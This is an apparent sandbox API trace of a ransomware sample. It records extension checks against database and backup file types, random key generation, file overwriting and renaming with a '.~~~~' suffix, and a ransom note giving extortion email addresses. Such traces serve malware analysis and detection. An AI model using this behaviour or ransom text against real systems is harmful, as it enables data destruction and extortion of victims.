	[0086.701] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.~~~~")) returned 1
	[0086.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b9110 | out: hHeap=0x300000) returned 1
	[0086.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.702] GetLastError () returned 0x0
	[0086.702] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0086.702] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0086.704] CloseHandle (hObject=0x124) returned 1
	[0086.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b64c0 | out: hHeap=0x300000) returned 1
	[0086.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6028 | out: hHeap=0x300000) returned 1
	[0086.704] RtlWakeConditionVariable () returned 0x365f70
	[0086.704] GetCurrentThreadId () returned 0x9cc
	[0086.704] GetCurrentThreadId () returned 0x9cc
	[0086.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6028
	[0086.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6aa8 | out: hHeap=0x300000) returned 1
	[0086.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b3d8 | out: hHeap=0x300000) returned 1
	[0086.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6aa8
	[0086.705] lstrlenW (lpString=".scr") returned 4
	[0086.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".scr") returned 0x0
	[0086.705] lstrlenW (lpString=".cmd") returned 4
	[0086.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".cmd") returned 0x0
	[0086.705] lstrlenW (lpString=".dll") returned 4
	[0086.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".dll") returned 0x0
	[0086.705] lstrlenW (lpString=".bat") returned 4
	[0086.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".bat") returned 0x0
	[0086.705] lstrlenW (lpString=".cpl") returned 4
	[0086.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".cpl") returned 0x0
	[0086.705] lstrlenW (lpString=".sys") returned 4
	[0086.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".sys") returned 0x0
	[0086.705] lstrlenW (lpString=".msc") returned 4
	[0086.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".msc") returned 0x0
	[0086.705] lstrlenW (lpString=".com") returned 4
	[0086.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".com") returned 0x0
	[0086.705] lstrlenW (lpString=".lnk") returned 4
	[0086.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".lnk") returned 0x0
	[0086.705] lstrlenW (lpString=".msp") returned 4
	[0086.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".msp") returned 0x0
	[0086.705] lstrlenW (lpString=".pif") returned 4
	[0086.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".pif") returned 0x0
	[0086.706] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch="msp\r\n.pif") returned 0x0
	[0086.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0086.706] lstrlenW (lpString=".sqb") returned 4
	[0086.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".sqb") returned 0x0
	[0086.706] lstrlenW (lpString=".ost") returned 4
	[0086.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".ost") returned 0x0
	[0086.706] lstrlenW (lpString=".txt") returned 4
	[0086.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".txt") returned 0x0
	[0086.706] lstrlenW (lpString=".mdt") returned 4
	[0086.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".mdt") returned 0x0
	[0086.706] lstrlenW (lpString=".BDB") returned 4
	[0086.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".BDB") returned 0x0
	[0086.707] lstrlenW (lpString=".eql") returned 4
	[0086.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".eql") returned 0x0
	[0086.707] lstrlenW (lpString=".DBF") returned 4
	[0086.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".DBF") returned 0x0
	[0086.707] lstrlenW (lpString=".EQL") returned 4
	[0086.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".EQL") returned 0x0
	[0086.707] lstrlenW (lpString=".FDB") returned 4
	[0086.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".FDB") returned 0x0
	[0086.707] lstrlenW (lpString=".EDB") returned 4
	[0086.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".EDB") returned 0x0
	[0086.707] lstrlenW (lpString=".DACPAC") returned 7
	[0086.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".DACPAC") returned 0x0
	[0086.707] lstrlenW (lpString=".VHD") returned 4
	[0086.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".VHD") returned 0x0
	[0086.707] lstrlenW (lpString=".DBV") returned 4
	[0086.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".DBV") returned 0x0
	[0086.707] lstrlenW (lpString=".dacpac") returned 7
	[0086.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".dacpac") returned 0x0
	[0086.707] lstrlenW (lpString=".sdf") returned 4
	[0086.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".sdf") returned 0x0
	[0086.707] lstrlenW (lpString=".accdb") returned 6
	[0086.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".accdb") returned 0x0
	[0086.707] lstrlenW (lpString=".DBX") returned 4
	[0086.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".DBX") returned 0x0
	[0086.708] lstrlenW (lpString=".MDT") returned 4
	[0086.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".MDT") returned 0x0
	[0086.708] lstrlenW (lpString=".SQB") returned 4
	[0086.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".SQB") returned 0x0
	[0086.708] lstrlenW (lpString=".vhd") returned 4
	[0086.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".vhd") returned 0x0
	[0086.708] lstrlenW (lpString=".bac") returned 4
	[0086.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".bac") returned 0x0
	[0086.708] lstrlenW (lpString=".mdf") returned 4
	[0086.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".mdf") returned 0x0
	[0086.708] lstrlenW (lpString=".BAK") returned 4
	[0086.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".BAK") returned 0x0
	[0086.708] lstrlenW (lpString=".BAC") returned 4
	[0086.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".BAC") returned 0x0
	[0086.708] lstrlenW (lpString=".dbs") returned 4
	[0086.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".dbs") returned 0x0
	[0086.708] lstrlenW (lpString=".vhdx") returned 5
	[0086.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".vhdx") returned 0x0
	[0086.708] lstrlenW (lpString=".NDF") returned 4
	[0086.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".NDF") returned 0x0
	[0086.708] lstrlenW (lpString=".dat") returned 4
	[0086.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".dat") returned 0x0
	[0086.708] lstrlenW (lpString=".DBS") returned 4
	[0086.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".DBS") returned 0x0
	[0086.709] lstrlenW (lpString=".CKP") returned 4
	[0086.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".CKP") returned 0x0
	[0086.709] lstrlenW (lpString=".edb") returned 4
	[0086.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".edb") returned 0x0
	[0086.709] lstrlenW (lpString=".PST") returned 4
	[0086.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".PST") returned 0x0
	[0086.709] lstrlenW (lpString=".dbf") returned 4
	[0086.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".dbf") returned 0x0
	[0086.709] lstrlenW (lpString=".SQL") returned 4
	[0086.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".SQL") returned 0x0
	[0086.709] lstrlenW (lpString=".pst") returned 4
	[0086.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".pst") returned 0x0
	[0086.709] lstrlenW (lpString=".dbv") returned 4
	[0086.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".dbv") returned 0x0
	[0086.709] lstrlenW (lpString=".SDF") returned 4
	[0086.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".SDF") returned 0x0
	[0086.709] lstrlenW (lpString=".dtxs") returned 5
	[0086.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".dtxs") returned 0x0
	[0086.709] lstrlenW (lpString=".db3") returned 4
	[0086.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".db3") returned 0x0
	[0086.710] lstrlenW (lpString=".OST") returned 4
	[0086.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".OST") returned 0x0
	[0086.710] lstrlenW (lpString=".dbx") returned 4
	[0086.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".dbx") returned 0x0
	[0086.710] lstrlenW (lpString=".DB3") returned 4
	[0086.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".DB3") returned 0x0
	[0086.710] lstrlenW (lpString=".DAT") returned 4
	[0086.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".DAT") returned 0x0
	[0086.710] lstrlenW (lpString=".VHDX") returned 5
	[0086.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".VHDX") returned 0x0
	[0086.710] lstrlenW (lpString=".ndf") returned 4
	[0086.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".ndf") returned 0x0
	[0086.710] lstrlenW (lpString=".DB") returned 3
	[0086.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".DB") returned 0x0
	[0086.710] lstrlenW (lpString=".sql") returned 4
	[0086.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".sql") returned 0x0
	[0086.710] lstrlenW (lpString=".MYD") returned 4
	[0086.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".MYD") returned 0x0
	[0086.710] lstrlenW (lpString=".DBT") returned 4
	[0086.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".DBT") returned 0x0
	[0086.710] lstrlenW (lpString=".ACCDB") returned 6
	[0086.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".ACCDB") returned 0x0
	[0086.710] lstrlenW (lpString=".fdb") returned 4
	[0086.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".fdb") returned 0x0
	[0086.711] lstrlenW (lpString=".bak") returned 4
	[0086.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".bak") returned 0x0
	[0086.711] lstrlenW (lpString=".myd") returned 4
	[0086.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".myd") returned 0x0
	[0086.711] lstrlenW (lpString=".DTXS") returned 5
	[0086.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".DTXS") returned 0x0
	[0086.711] lstrlenW (lpString=".ckp") returned 4
	[0086.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".ckp") returned 0x0
	[0086.711] lstrlenW (lpString=".dbt") returned 4
	[0086.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".dbt") returned 0x0
	[0086.711] lstrlenW (lpString=".db") returned 3
	[0086.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".db") returned 0x0
	[0086.711] lstrlenW (lpString=".TXT") returned 4
	[0086.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".TXT") returned 0x0
	[0086.711] lstrlenW (lpString=".MDF") returned 4
	[0086.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".MDF") returned 0x0
	[0086.711] lstrlenW (lpString=".bdb") returned 4
	[0086.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".bdb") returned 0x0
	[0086.711] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0086.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0086.711] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0086.712] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0086.712] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0086.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0086.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0086.712] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20670261266) returned 1
	[0086.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9d7c5050, dwHighDateTime=0x1d60e1e)) 
	[0086.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b3d8
	[0086.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0086.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b3d8 | out: hHeap=0x300000) returned 1
	[0086.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0086.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b64c0
	[0086.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b64c0 | out: hHeap=0x300000) returned 1
	[0086.713] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0086.713] GetLastError () returned 0x0
	[0086.714] GetLastError () returned 0x0
	[0086.714] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0086.714] GetLastError () returned 0x0
	[0086.714] GetLastError () returned 0x0
	[0086.774] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.775] WriteFile (in: hFile=0x124, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0086.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.775] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.776] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.871] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.871] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.871] CloseHandle (hObject=0x124) returned 1
	[0086.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5dc0
	[0086.871] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its.~~~~")) returned 1
	[0086.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5dc0 | out: hHeap=0x300000) returned 1
	[0086.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.872] GetLastError () returned 0x0
	[0086.873] lstrlenW (lpString=".sqb") returned 4
	[0086.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".sqb") returned 0x0
	[0086.873] lstrlenW (lpString=".ost") returned 4
	[0086.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".ost") returned 0x0
	[0086.873] lstrlenW (lpString=".txt") returned 4
	[0086.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".txt") returned 0x0
	[0086.873] lstrlenW (lpString=".mdt") returned 4
	[0086.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".mdt") returned 0x0
	[0086.873] lstrlenW (lpString=".BDB") returned 4
	[0086.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".BDB") returned 0x0
	[0086.873] lstrlenW (lpString=".eql") returned 4
	[0086.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".eql") returned 0x0
	[0086.873] lstrlenW (lpString=".DBF") returned 4
	[0086.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".DBF") returned 0x0
	[0086.873] lstrlenW (lpString=".EQL") returned 4
	[0086.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".EQL") returned 0x0
	[0086.873] lstrlenW (lpString=".FDB") returned 4
	[0086.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpSrch=".FDB") returned 0x0
	[0086.873] lstrlenW (lpString=".EDB") returned 4
